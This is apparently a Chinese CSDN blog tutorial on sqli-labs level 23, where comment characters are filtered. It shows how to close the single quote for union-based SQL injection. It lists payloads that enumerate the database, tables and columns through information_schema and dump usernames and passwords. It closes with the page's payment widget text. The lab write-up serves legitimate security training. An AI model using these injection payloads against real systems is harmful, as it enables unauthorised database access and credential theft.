SQL注入详解 23-28关

Less-23(过滤注释符号——union联合注入)

第23关总结:
通过手工测试发现,这一关对#与–+进行了过滤,我们只能想办法来闭合单引号,并且闭合的方法很多,在以下的注入过程中也存在很多的闭合办法。其余的采用简单的联合注入即可完成

  1. 判断注入类型并判断显示位置

1.1通过报错,我们可以看出这个注入大概是个单引号字符型注入
在这里插入图片描述
1.2 通过测试,发现这一关禁用了‘#’与‘–+’,所以我们不能像前面一样去注释剩余的单引号,而是去想办法闭合
在这里插入图片描述
1.3 闭合单引号,判断显示位置

-1' union select 22,33,'44

在这里插入图片描述

  1. 查看当前数据库
-1' union select 3,database(),3 or '12'='12

在这里插入图片描述

  1. 爆表
-1' union select 22,group_concat(table_name),22 from information_schema.tables where table_schema='security' and '1'='1

在这里插入图片描述

  1. 爆列
-1' union select 22,group_concat(column_name),22 from information_schema.columns where table_name='users' or '1'='2

在这里插入图片描述

  1. 爆数据
    方法一:
-1' union select 1,group_concat(username),3 from users where 1=1 and '1'='1

在这里插入图片描述
解析:
这里需要注意and前后的对象需要一致,下面的第一种做法就不对,and前面是一个表名,后面就是数值,所以再注释的闭合引号的的时候需要加一个where 1=1,前面爆表,爆列的时候由于本来就有where条件筛选,所以才可以成功
在这里插入图片描述

方法二:

-1' union select 22,(select group_concat(username) from users),22 or '1'='1
-1' union select 22,(select group_concat(password) from users),22'

在这里插入图片描述
在这里插入图片描述
查看源码:
通过源码我们可以看出来这里将#与–替换成了空字符,对#与–起到过滤作用,所以我们前面的判断是正确的
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值